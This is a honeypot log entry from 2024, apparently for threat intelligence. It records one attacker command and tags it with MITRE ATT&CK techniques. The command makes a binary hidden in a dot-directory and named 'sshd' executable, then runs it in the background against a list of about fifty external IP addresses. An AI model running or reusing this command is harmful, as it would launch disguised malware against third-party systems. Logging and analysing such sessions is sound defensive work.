Honeypot attack session (period 2024), commands issued:
chmod +x ./.7320662131824734527/sshd;nohup ./.7320662131824734527/sshd 195.133.46.73 188.92.28.249 186.233.119.15 89.116.73.228 47.236.106.83 106.124.139.221 143.198.135.101 5.250.180.124 24.199.118.203 59.47.5.34 143.198.142.84 5.42.73.122 59.38.100.77 114.113.151.152 117.161.138.2 106.74.27.165 36.151.194.14 157.245.137.163 51.15.202.128 167.86.104.82 43.248.119.73 183.252.11.28 119.97.253.24 222.186.10.214 58.216.8.103 221.181.168.32 42.101.33.234 14.116.213.236 54.176.38.9 124.118.249.114 23.231.76.210 13.42.129.207 3.137.34.91 15.206.79.116 23.145.168.126 157.148.122.65 173.212.202.192 74.48.217.202 170.84.39.237 181.113.114.115 186.233.119.203 178.253.40.4 202.5.16.82 104.248.63.189 5.42.105.40 120.71.147.193 117.66.249.166 170.130.220.2 134.209.0.27 5.159.102.148 157.148.77.230 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter